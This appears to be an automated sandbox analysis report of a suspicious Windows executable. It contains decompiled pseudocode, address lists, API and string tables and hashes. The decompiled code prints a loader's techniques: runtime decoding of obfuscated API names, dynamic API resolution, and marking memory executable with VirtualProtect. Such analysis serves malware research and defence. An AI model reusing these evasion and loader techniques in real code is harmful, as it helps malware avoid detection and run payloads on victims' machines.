				if((_t645 & 0x00000044) == 0) {
					_v32 =  *0x421374;
					_v32 =  *0x421370;
				}
				_v32 =  *0x42136c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v32 =  *0x421368;
					_v32 =  *0x421364;
				}
				_v60 =  *0x421360;
				_v60 =  *0x42135c;
				_v60 =  *0x421358;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v60 =  *0x421354;
					_v60 =  *0x421350;
				}
				_v60 =  *0x42134c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v60 =  *0x421348;
					_v60 =  *0x421344;
				}
				_v60 =  *0x421340;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v60 =  *0x42133c;
					_v60 =  *0x421338;
				}
				_v60 =  *0x421334;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v60 =  *0x421330;
					_v60 =  *0x42132c;
				}
				_v60 =  *0x421328;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v60 =  *0x421324;
					_v60 =  *0x421320;
				}
				_v28 =  *0x42131c;
				_v28 =  *0x421318;
				_v28 =  *0x421314;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v28 =  *0x421310;
					_v28 =  *0x42130c;
				}
				_v28 =  *0x421308;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v28 =  *0x421304;
					_v28 =  *0x421300;
				}
				_v28 =  *0x4212fc;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v28 =  *0x4212f8;
					_v28 =  *0x4212f4;
				}
				_v28 =  *0x4212f0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v28 =  *0x4212ec;
					_v28 =  *0x4212e8;
				}
				_v28 =  *0x4212e4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v28 =  *0x4212e0;
					_v28 =  *0x4212dc;
				}
				_v48 =  *0x4212d8;
				_v48 =  *0x4212d4;
				_v48 =  *0x4212d0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v48 =  *0x4212cc;
					_v48 =  *0x4212c8;
				}
				_v48 =  *0x4212c4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v48 =  *0x4212c0;
					_v48 =  *0x4212bc;
				}
				_v48 =  *0x4212b8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v48 =  *0x4212b4;
					_v48 =  *0x4212b0;
				}
				_v48 =  *0x4212ac;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v48 =  *0x4212a8;
					_v48 =  *0x4212a4;
				}
				_v48 =  *0x4212a0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v48 =  *0x42129c;
					_v48 =  *0x421298;
				}
				_v104 =  *0x421294;
				_v104 =  *0x421290;
				_v104 =  *0x42128c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v104 =  *0x421288;
					_v104 =  *0x421284;
				}
				_v104 =  *0x421280;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v104 =  *0x42127c;
					_v104 =  *0x421278;
				}
				_v104 =  *0x421274;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v104 =  *0x421270;
					_v104 =  *0x42126c;
				}
				_v104 =  *0x421268;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v104 =  *0x421264;
					_v104 =  *0x421260;
				}
				_v104 =  *0x42125c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v104 =  *0x421258;
					_v104 =  *0x421254;
				}
				_v92 = 0x3d;
				_v91 = 0x2b;
				_v90 = 0xdd;
				_v89 = 0xc3;
				_v88 = 0x2d;
				_v87 = 0xcf;
				_v86 = 0xea;
				_v85 = 0xec;
				_v84 = 0xda;
				_v83 = 0x27;
				_v82 = 0xc5;
				_v81 = 0xdb;
				_v80 = 0xaa;
				_v120 = 0;
				while(_v120 < 0xd) {
					_v121 =  *((intOrPtr*)(_t734 + _v120 - 0x58));
					_v121 =  ~(_v121 & 0x000000ff);
					_v121 =  !(_v121 & 0x000000ff);
					_v121 = _v121 & 0x000000ff ^ 0x0000004b;
					_v121 =  ~(_v121 & 0x000000ff);
					_v121 =  !(_v121 & 0x000000ff);
					_v121 = (_v121 & 0x000000ff) + _v120;
					_v121 =  !(_v121 & 0x000000ff);
					_v121 = (_v121 & 0x000000ff) - 0x2d;
					_v121 =  ~(_v121 & 0x000000ff);
					_v121 = (_v121 & 0x000000ff) + _v120;
					_v121 =  !(_v121 & 0x000000ff);
					_v121 = (_v121 & 0x000000ff) - 5;
					_v121 = (_v121 & 0x000000ff) >> 0x00000002 | (_v121 & 0x000000ff) << 0x00000006;
					_v121 = (_v121 & 0x000000ff) + _v120;
					_v121 =  ~(_v121 & 0x000000ff);
					 *((char*)(_t734 + _v120 - 0x58)) = _v121;
					_v120 = _v120 + 1;
				}
				_v56 = GetModuleHandleA( &_v92);
				_v24 = 0;
				 *0x44a884 = GetProcAddress(_v56,  &_v76);
				VirtualProtect(_a4, _a8, 0x40,  &_v24); // executed
				return 0;
			}

0x004018b0
0x004018bc
0x004018c5
0x004018ce
0x004018d4
0x004018da
0x004018df
0x004018e7
0x004018f0
0x004018f0
0x004018f9
0x004018ff
0x00401905
0x0040190a
0x00401912
0x0040191b
0x0040191b
0x00401924
0x0040192a
0x00401930
0x00401935
0x0040193d
0x00401946
0x00401946
0x0040194f
0x00401955
0x0040195b
0x00401960
0x00401968
0x00401971
0x00401971
0x0040197a
0x00401980
0x00401986
0x0040198b
0x00401993
0x0040199c
0x0040199c
0x004019a5
0x004019ae
0x004019b7
0x004019bd
0x004019c3
0x004019c8
0x004019d0
0x004019d9
0x004019d9
0x004019e2
0x004019e8
0x004019ee
0x004019f3
0x004019fb
0x00401a04
0x00401a04
0x00401a0d
0x00401a13
0x00401a19
0x00401a1e
0x00401a26
0x00401a2f
0x00401a2f
0x00401a38
0x00401a3e
0x00401a44
0x00401a49
0x00401a51
0x00401a5a
0x00401a5a
0x00401a63
0x00401a69
0x00401a6f
0x00401a74
0x00401a7c
0x00401a85
0x00401a85
0x00401a8e
0x00401a97
0x00401aa0
0x00401aa6
0x00401aac
0x00401ab1
0x00401ab9
0x00401ac2
0x00401ac2
0x00401acb
0x00401ad1
0x00401ad7
0x00401adc
0x00401ae4
0x00401aed
0x00401aed
0x00401af6
0x00401afc
0x00401b02
0x00401b07
0x00401b0f
0x00401b18
0x00401b18
0x00401b21
0x00401b27
0x00401b2d
0x00401b32
0x00401b3a
0x00401b43
0x00401b43
0x00401b4c
0x00401b52
0x00401b58
0x00401b5d
0x00401b65
0x00401b6e
0x00401b6e
0x00401b77
0x00401b80
0x00401b89
0x00401b8f
0x00401b95
0x00401b9a
0x00401ba2
0x00401bab
0x00401bab
0x00401bb4
0x00401bba
0x00401bc0
0x00401bc5
0x00401bcd
0x00401bd6
0x00401bd6
0x00401bdf
0x00401be5
0x00401beb
0x00401bf0
0x00401bf8
0x00401c01
0x00401c01
0x00401c0a
0x00401c10
0x00401c16
0x00401c1b
0x00401c23
0x00401c2c
0x00401c2c
0x00401c35
0x00401c3b
0x00401c41
0x00401c46
0x00401c4e
0x00401c57
0x00401c57
0x00401c60
0x00401c69
0x00401c72
0x00401c78
0x00401c7e
0x00401c83
0x00401c8b
0x00401c94
0x00401c94
0x00401c9d
0x00401ca3
0x00401ca9
0x00401cae
0x00401cb6
0x00401cbf
0x00401cbf
0x00401cc8
0x00401cce
0x00401cd4
0x00401cd9
0x00401ce1
0x00401cea
0x00401cea
0x00401cf3
0x00401cf9
0x00401cff
0x00401d04
0x00401d0c
0x00401d15
0x00401d15
0x00401d1e
0x00401d24
0x00401d2a
0x00401d2f
0x00401d37
0x00401d40
0x00401d40
0x00401d49
0x00401d52
0x00401d5b
0x00401d61
0x00401d67
0x00401d6c
0x00401d74
0x00401d7d
0x00401d7d
0x00401d86
0x00401d8c
0x00401d92
0x00401d97
0x00401d9f
0x00401da8
0x00401da8
0x00401db1
0x00401db7
0x00401dbd
0x00401dc2
0x00401dca
0x00401dd3
0x00401dd3
0x00401ddc
0x00401de2
0x00401de8
0x00401ded
0x00401df5
0x00401dfe
0x00401dfe
0x00401e07
0x00401e0d
0x00401e13
0x00401e18
0x00401e20
0x00401e29
0x00401e29
0x00401e32
0x00401e3b
0x00401e44
0x00401e4a
0x00401e50
0x00401e55
0x00401e5d
0x00401e66
0x00401e66
0x00401e6f
0x00401e75
0x00401e7b
0x00401e80
0x00401e88
0x00401e91
0x00401e91
0x00401e9a
0x00401ea0
0x00401ea6
0x00401eab
0x00401eb3
0x00401ebc
0x00401ebc
0x00401ec5
0x00401ecb
0x00401ed1
0x00401ed6
0x00401ede
0x00401ee7
0x00401ee7
0x00401ef0
0x00401ef6
0x00401efc
0x00401f01
0x00401f09
0x00401f12
0x00401f12
0x00401f1b
0x00401f24
0x00401f2d
0x00401f33
0x00401f39
0x00401f3e
0x00401f46
0x00401f4f
0x00401f4f
0x00401f58
0x00401f5e
0x00401f64
0x00401f69
0x00401f71
0x00401f7a
0x00401f7a
0x00401f83
0x00401f89
0x00401f8f
0x00401f94
0x00401f9c
0x00401fa5
0x00401fa5
0x00401fae
0x00401fb4
0x00401fba
0x00401fbf
0x00401fc7
0x00401fd0
0x00401fd0
0x00401fd9
0x00401fdf
0x00401fe5
0x00401fea
0x00401ff2
0x00401ffb
0x00401ffb
0x00401ffe
0x00402002
0x00402006
0x0040200a
0x0040200e
0x00402012
0x00402016
0x0040201a
0x0040201e
0x00402022
0x00402026
0x0040202a
0x0040202e
0x00402032
0x00402036
0x0040203a
0x0040204c
0x0040205d
0x00402069
0x0040207b
0x00402084
0x00402091
0x0040209a
0x004020a4
0x004020ae
0x004020b8
0x004020c1
0x004020cb
0x004020d5
0x004020e1
0x004020eb
0x004020f4
0x004020fe
0x00402107
0x00402046
0x00402049
0x00402049
0x00402116
0x0040211f
0x00402128
0x0040212e
0x00402134
0x00402139
0x00402141
0x0040214a
0x0040214a
0x00402153
0x00402159
0x0040215f
0x00402164
0x0040216c
0x00402175
0x00402175
0x0040217e
0x00402184
0x0040218a
0x0040218f
0x00402197
0x004021a0
0x004021a0
0x004021a9
0x004021af
0x004021b5
0x004021ba
0x004021c2
0x004021cb
0x004021cb
0x004021d4
0x004021da
0x004021e0
0x004021e5
0x004021ed
0x004021f6
0x004021f6
0x004021ff
0x00402208
0x00402211
0x00402217
0x0040221d
0x00402222
0x0040222a
0x00402233
0x00402233
0x0040223c
0x00402242
0x00402248
0x0040224d
0x00402255
0x0040225e
0x0040225e
0x00402267
0x0040226d
0x00402273
0x00402278
0x00402280
0x00402289
0x00402289
0x00402292
0x00402298
0x0040229e
0x004022a3
0x004022ab
0x004022b4
0x004022b4
0x004022bd
0x004022c3
0x004022c9
0x004022ce
0x004022d6
0x004022df
0x004022df
0x004022e8
0x004022f1
0x004022fa
0x00402300
0x00402306
0x0040230b
0x00402313
0x0040231c
0x0040231c
0x00402325
0x0040232b
0x00402331
0x00402336
0x0040233e
0x00402347
0x00402347
0x00402350
0x00402356
0x0040235c
0x00402361
0x00402369
0x00402372
0x00402372
0x0040237b
0x00402381
0x00402387
0x0040238c
0x00402394
0x0040239d
0x0040239d
0x004023a6
0x004023ac
0x004023b2
0x004023b7
0x004023bf
0x004023c8
0x004023c8
0x004023d1
0x004023da
0x004023e3
0x004023e9
0x004023ef
0x004023f4
0x004023fc
0x00402405
0x00402405
0x0040240e
0x00402414
0x0040241a
0x0040241f
0x00402427
0x00402430
0x00402430
0x00402439
0x0040243f
0x00402445
0x0040244a
0x00402452
0x0040245b
0x0040245b
0x00402464
0x0040246a
0x00402470
0x00402475
0x0040247d
0x00402486
0x00402486
0x0040248f
0x00402495
0x0040249b
0x004024a0
0x004024a8
0x004024b1
0x004024b1
0x004024ba
0x004024c3
0x004024cc
0x004024d2
0x004024d8
0x004024dd
0x004024e5
0x004024ee
0x004024ee
0x004024f7
0x004024fd
0x00402503
0x00402508
0x00402510
0x00402519
0x00402519
0x00402522
0x00402528
0x0040252e
0x00402533
0x0040253b
0x00402544
0x00402544
0x0040254d
0x00402553
0x00402559
0x0040255e
0x00402566
0x0040256f
0x0040256f
0x00402578
0x0040257e
0x00402584
0x00402589
0x00402591
0x0040259a
0x0040259a
0x004025a3
0x004025ac
0x004025b5
0x004025bb
0x004025c1
0x004025c6
0x004025ce
0x004025d7
0x004025d7
0x004025e0
0x004025e6
0x004025ec
0x004025f1
0x004025f9
0x00402602
0x00402602
0x0040260b
0x00402611
0x00402617
0x0040261c
0x00402624
0x0040262d
0x0040262d
0x00402636
0x0040263c
0x00402642
0x00402647
0x0040264f
0x00402658
0x00402658
0x00402661
0x00402667
0x0040266d
0x00402672
0x0040267a
0x00402683
0x00402683
0x0040268c
0x00402695
0x0040269e
0x004026a4
0x004026aa
0x004026af
0x004026b7
0x004026c0
0x004026c0
0x004026c9
0x004026cf
0x004026d5
0x004026da
0x004026e2
0x004026eb
0x004026eb
0x004026f4
0x004026fa
0x00402700
0x00402705
0x0040270d
0x00402716
0x00402716
0x0040271f
0x00402725
0x0040272b
0x00402730
0x00402738
0x00402741
0x00402741
0x0040274a
0x00402750
0x00402756
0x0040275b
0x00402763
0x0040276c
0x0040276c
0x00402775
0x0040277e
0x00402787
0x0040278d
0x00402793
0x00402798
0x004027a0
0x004027a9
0x004027a9
0x004027b2
0x004027b8
0x004027be
0x004027c3
0x004027cb
0x004027d4
0x004027d4
0x004027dd
0x004027e3
0x004027e9
0x004027ee
0x004027f6
0x004027ff
0x004027ff
0x00402808
0x0040280e
0x00402814
0x00402819
0x00402821
0x0040282a
0x0040282a
0x00402833
0x00402839
0x0040283f
0x00402844
0x0040284c
0x00402855
0x00402855
0x00402858
0x0040285c
0x00402860
0x00402864
0x00402868
0x0040286c
0x00402870
0x00402874
0x00402878
0x0040287c
0x00402880
0x00402884
0x00402888
0x0040288c
0x0040289e
0x004028af
0x004028b8
0x004028c1
0x004028cb
0x004028d4
0x004028dd
0x004028e7
0x004028f0
0x004028fa
0x00402903
0x0040290d
0x00402916
0x00402920
0x00402933
0x0040293d
0x00402946
0x0040294f
0x0040289b
0x0040289b
0x00402962
0x00402965
0x0040297a
0x0040298d
0x0040299a

APIs

GetModuleHandleA.KERNEL32(0000003D), ref: 0040295C
GetProcAddress.KERNEL32(?,0000002C), ref: 00402974
VirtualProtect.KERNELBASE(?,?,00000040,00000000), ref: 0040298D

Strings

-, xrefs: 00402868
`gqt, xrefs: 0040297A, 0040298D
,, xrefs: 00401FFE
4, xrefs: 00402022
?, xrefs: 00402006
3, xrefs: 00402002
0, xrefs: 0040202A
+, xrefs: 0040285C
8, xrefs: 00402026
2, xrefs: 00402016
5, xrefs: 00402012
:, xrefs: 0040201E
', xrefs: 0040287C
=, xrefs: 00402858
NqtPeqt, xrefs: 00402974

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: '$+$,$-$0$2$3$4$5$8$:$=$?$`gqt$NqtPeqt
API String ID: 2099061454-3238665215
Opcode ID: 89dc5e700b2ed650e49afb20cb7ba4ac490fd0239ab8f908c373ee0cbed73d62
Instruction ID: d9f5119e017af441324fc7d85983dc7828a7fadba29e2a7ff7bc8a8a244041db
Opcode Fuzzy Hash: 89dc5e700b2ed650e49afb20cb7ba4ac490fd0239ab8f908c373ee0cbed73d62
Instruction Fuzzy Hash: 11B27D70A01159DBEB208B95FA9C2EDBF74FBA5380F9641A5D5D4760A9C33801B2CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 86
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004048D0(void* __ebx, intOrPtr __ecx, void* __edi, char _a4, char _a40) {
				char _v32;
				long long _v44;
				long long _v52;
				char _v80;
				signed int _v84;
				long long _v92;
				long long _v100;
				intOrPtr _v104;
				char _v132;
				intOrPtr _v136;
				char _v137;
				struct _SECURITY_ATTRIBUTES* _v144;
				signed int _v148;
				signed int _v149;
				char _v180;
				char _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				void* _t38;
				signed int _t50;
				intOrPtr _t51;
				void* _t55;
				void* _t71;
				void* _t73;
				void* _t74;

				_t73 = __edi;
				_t55 = __ebx;
				_v216 = __ecx;
				_v52 =  *0x421d58;
				_v100 =  *0x421d50;
				_v92 =  *0x421d48;
				_v84 = 0x761;
				_v144 = 0;
				while(_v144 < 0x278e) {
					_t51 = E0040D6CD(_t55, _t71, _t73, _v84 << 2); // executed
					_t74 = _t74 + 4;
					_v104 = _t51;
					CreateThread(0, 0, E004041D0, 0, 0, 0); // executed
					_v144 =  &(_v144->nLength);
				}
				E004096E0( &_v32, "yiefrrppzzckuxjeghljeddsgeakhxlnakgrncdnla");
				E004096E0( &_v80, "jqlqpyztxssndfcddjtexrkqekqqcrzowwpbcooaxzwyvaringpzqlf");
				_v137 = 1;
				_v136 = 0xc32;
				_v44 =  *0x421d40;
				E004096E0( &_v132, "fjooxxweytfqklrlefryswjvjmdjyovfvaaauvnaoeemzeishrotshldexaeafkvuwodfctvifgnblyyoelladljlbwyk");
				_t38 = E004096E0( &_v180, "yiefrrppzzckuxjeghljeddsgeakhxlnakgrncdnla");
				_v149 = E0040B150(__eflags, E004096E0( &_v208, "yiefrrppzzckuxjeghljeddsgeakhxlnakgrncdnla"), _t38);
				E00409720( &_v208);
				E00409720( &_v180);
				__eflags = _v149 & 0x000000ff;
				if((_v149 & 0x000000ff) != 0) {
					_v148 = 0x5c;
					while(1) {
						__eflags = _v148;
						if(_v148 <= 0) {
							goto L9;
						}
						_t50 = _v148 - 1;
						__eflags = _t50;
						_v148 = _t50;
					}
				}
				L9:
				_v212 = 0xca39;
				E00409720( &_v132);
				E00409720( &_v80);
				E00409720( &_v32);
				E00409720( &_a4);
				E00409720( &_a40);
				return _v212;
			}

0x004048d0
0x004048d0
0x004048d9
0x004048e5
0x004048ee
0x004048f7
0x004048fa
0x00404901
0x0040491c
0x0040492f
0x00404934
0x00404937
0x00404949
0x00404916
0x00404916
0x00404959
0x00404966
0x0040496b
0x00404972
0x00404982
0x0040498d
0x0040499d
0x004049bc
0x004049c8
0x004049d3
0x004049df
0x004049e1
0x004049e3
0x004049fe
0x004049fe
0x00404a05
0x00000000
0x00000000
0x004049f5
0x004049f5
0x004049f8
0x004049f8
0x004049fe
0x00404a0b
0x00404a0b
0x00404a18
0x00404a20
0x00404a28
0x00404a30
0x00404a38
0x00404a46

APIs

_malloc.LIBCMT ref: 0040492F

Part of subcall function 0040D6CD: __FF_MSGBANNER.LIBCMT ref: 0040D6F0
Part of subcall function 0040D6CD: __NMSG_WRITE.LIBCMT ref: 0040D6F7
Part of subcall function 0040D6CD: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,00412356,?,00000001,?,?,0041417E,00000018,004251E8,0000000C,0041420F), ref: 0040D744

CreateThread.KERNELBASE ref: 00404949

Strings

fjooxxweytfqklrlefryswjvjmdjyovfvaaauvnaoeemzeishrotshldexaeafkvuwodfctvifgnblyyoelladljlbwyk, xrefs: 00404985
\, xrefs: 004049E3
jqlqpyztxssndfcddjtexrkqekqqcrzowwpbcooaxzwyvaringpzqlf, xrefs: 0040495E
yiefrrppzzckuxjeghljeddsgeakhxlnakgrncdnla, xrefs: 00404992
yiefrrppzzckuxjeghljeddsgeakhxlnakgrncdnla, xrefs: 004049A3
yiefrrppzzckuxjeghljeddsgeakhxlnakgrncdnla, xrefs: 00404951

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: AllocateCreateHeapThread_malloc
String ID: \$fjooxxweytfqklrlefryswjvjmdjyovfvaaauvnaoeemzeishrotshldexaeafkvuwodfctvifgnblyyoelladljlbwyk$jqlqpyztxssndfcddjtexrkqekqqcrzowwpbcooaxzwyvaringpzqlf$yiefrrppzzckuxjeghljeddsgeakhxlnakgrncdnla$yiefrrppzzckuxjeghljeddsgeakhxlnakgrncdnla$yiefrrppzzckuxjeghljeddsgeakhxlnakgrncdnla
API String ID: 159524527-1340373899
Opcode ID: 1280c566b0d5f8b83b9b6eb6356fff58c3148a735e6f20bbc902b66e8be0ccf0
Instruction ID: 4b5862e2868d4c011a8924d598e3c8270f8f1290af1bab3570c0f05707b56f0f
Opcode Fuzzy Hash: 1280c566b0d5f8b83b9b6eb6356fff58c3148a735e6f20bbc902b66e8be0ccf0
Instruction Fuzzy Hash: F8315270954268CADB24EF61EC46BADBB70BB10344F5040FAE449361D2DB792E58CF28

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4C3 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E0040C4C3(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t50;
				void* _t54;
				intOrPtr _t57;
				intOrPtr* _t59;
				intOrPtr* _t63;
				void* _t76;
				void* _t77;
				intOrPtr* _t80;
				char* _t81;
				char _t84;
				intOrPtr* _t87;
				intOrPtr* _t118;
				intOrPtr* _t123;
				void* _t124;
				void* _t125;

				_push(0x54);
				E0040FAA8(E0041F291, __ebx, __edi, __esi);
				_t84 =  *((intOrPtr*)(_t124 + 8));
				_t123 = __ecx;
				if(_t84 != 0xffffffff) {
					_t87 =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x24))));
					_t118 = 0;
					__eflags = _t87;
					if(_t87 == 0) {
						L7:
						_t50 =  *((intOrPtr*)(_t123 + 0x4c));
						__eflags = _t50 - _t118;
						if(_t50 != _t118) {
							__eflags =  *((intOrPtr*)(_t123 + 0x3c)) - _t118;
							if(__eflags != 0) {
								 *((char*)(_t124 - 0x30)) = _t84;
								E0040C2C5(_t84, _t124 - 0x2c, 8, _t118);
								 *((intOrPtr*)(_t124 - 4)) = _t118;
								_t54 = E0040B78D(E0040BFC0(_t124 - 0x2c, _t124 - 0x48));
								_t57 = E0040B78D(E0040BFC0(_t124 - 0x2c, _t124 - 0x50));
								_t118 =  *((intOrPtr*)(_t124 - 0x18)) + _t54;
								_push(_t124 - 0x38);
								_t84 = _t123 + 0x44;
								while(1) {
									_t112 = _t124 - 0x30;
									 *((intOrPtr*)(_t124 - 0x34)) = _t57;
									_t59 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x3c)))) + 0x14))(_t84, _t124 - 0x30, _t124 - 0x2f, _t124 - 0x3c, _t57, _t118);
									__eflags = _t59;
									if(_t59 < 0) {
										break;
									}
									__eflags = _t59 - 1;
									if(_t59 > 1) {
										__eflags = _t59 - 3;
										if(__eflags != 0) {
											goto L25;
										} else {
											_t63 = E0040BDC8(__eflags,  *((intOrPtr*)(_t124 - 0x30)),  *((intOrPtr*)(_t123 + 0x4c)));
											__eflags = _t63;
											if(_t63 != 0) {
												goto L27;
											} else {
												goto L25;
											}
										}
									} else {
										_t118 =  *((intOrPtr*)(_t124 - 0x38)) - E0040B78D(E0040BFC0(_t124 - 0x2c, _t124 - 0x58));
										__eflags = _t118;
										if(_t118 == 0) {
											L16:
											_t67 = _t124 - 0x30;
											 *((char*)(_t123 + 0x41)) = 1;
											__eflags =  *((intOrPtr*)(_t124 - 0x3c)) - _t124 - 0x30;
											if( *((intOrPtr*)(_t124 - 0x3c)) != _t124 - 0x30) {
												L27:
												_t123 =  *((intOrPtr*)(_t124 + 8));
											} else {
												__eflags = _t118;
												if(_t118 > 0) {
													L20:
													 *((intOrPtr*)(_t124 - 0x40)) = E0040B78D(E0040BFC0(_t124 - 0x2c, _t124 - 0x48));
													_t57 = E0040B78D(E0040BFC0(_t124 - 0x2c, _t124 - 0x50));
													_push(_t124 - 0x38);
													_t118 =  *((intOrPtr*)(_t124 - 0x18)) +  *((intOrPtr*)(_t124 - 0x40));
													__eflags = _t118;
													continue;
												} else {
													__eflags =  *((intOrPtr*)(_t124 - 0x18)) - 0x20;
													if( *((intOrPtr*)(_t124 - 0x18)) >= 0x20) {
														goto L25;
													} else {
														E0040C099(_t67, _t124 - 0x2c, _t123, 8, 0);
														goto L20;
													}
												}
											}
										} else {
											_t76 = E0040B78D(E0040BFC0(_t124 - 0x2c, _t124 - 0x60));
											_push( *((intOrPtr*)(_t123 + 0x4c)));
											_push(_t118);
											_push(1);
											_push(_t76);
											_t77 = E004102BA(_t84, _t112, _t118, _t123, __eflags);
											_t125 = _t125 + 0x10;
											__eflags = _t118 - _t77;
											if(_t118 != _t77) {
												L25:
												__eflags = _t123;
											} else {
												goto L16;
											}
										}
									}
									E004098A0(_t124 - 0x2c, 1, 0);
									goto L2;
								}
								goto L25;
							} else {
								_t50 = E0040BDC8(__eflags, _t84, _t50); // executed
								__eflags = _t50;
								if(_t50 == 0) {
									goto L8;
								} else {
									goto L6;
								}
							}
						} else {
							L8:
						}
					} else {
						_t80 =  *((intOrPtr*)(__ecx + 0x34));
						__eflags = _t87 -  *_t80 + _t87;
						if(_t87 >=  *_t80 + _t87) {
							goto L7;
						} else {
							 *_t80 =  *_t80 - 1;
							__eflags =  *_t80;
							_t123 =  *((intOrPtr*)(__ecx + 0x24));
							_t81 =  *_t123;
							 *_t123 = _t81 + 1;
							 *_t81 = _t84;
							L6:
						}
					}
				} else {
				}
				L2:
				return E0040FAF2(_t84, _t118, _t123);
			}

0x0040c4c3
0x0040c4ca
0x0040c4cf
0x0040c4d2
0x0040c4d7
0x0040c4e6
0x0040c4e8
0x0040c4ea
0x0040c4ec
0x0040c50b
0x0040c50b
0x0040c50e
0x0040c510
0x0040c517
0x0040c51a
0x0040c531
0x0040c534
0x0040c540
0x0040c54a
0x0040c562
0x0040c56a
0x0040c56c
0x0040c56d
0x0040c61d
0x0040c62a
0x0040c62e
0x0040c634
0x0040c637
0x0040c639
0x00000000
0x00000000
0x0040c575
0x0040c578
0x0040c641
0x0040c644
0x00000000
0x0040c646
0x0040c64c
0x0040c653
0x0040c655
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c655
0x0040c57e
0x0040c594
0x0040c594
0x0040c596
0x0040c5c2
0x0040c5c2
0x0040c5c5
0x0040c5c9
0x0040c5cc
0x0040c66d
0x0040c66d
0x0040c5d2
0x0040c5d2
0x0040c5d4
0x0040c5e8
0x0040c5fe
0x0040c60f
0x0040c617
0x0040c61b
0x0040c61b
0x00000000
0x0040c5d6
0x0040c5d6
0x0040c5da
0x00000000
0x0040c5dc
0x0040c5e3
0x00000000
0x0040c5e3
0x0040c5da
0x0040c5d4
0x0040c598
0x0040c5a6
0x0040c5ab
0x0040c5ae
0x0040c5af
0x0040c5b1
0x0040c5b2
0x0040c5b7
0x0040c5ba
0x0040c5bc
0x0040c657
0x0040c657
0x00000000
0x00000000
0x00000000
0x0040c5bc
0x0040c596
0x0040c661
0x00000000
0x0040c666
0x00000000
0x0040c51c
0x0040c51e
0x0040c525
0x0040c527
0x00000000
0x0040c529
0x00000000
0x0040c529
0x0040c527
0x0040c512
0x0040c512
0x0040c512
0x0040c4ee
0x0040c4ee
0x0040c4f5
0x0040c4f7
0x00000000
0x0040c4f9
0x0040c4f9
0x0040c4f9
0x0040c4fb
0x0040c4fe
0x0040c503
0x0040c505
0x0040c507
0x0040c507
0x0040c4f7
0x0040c4d9
0x0040c4d9
0x0040c4db
0x0040c4e0

APIs

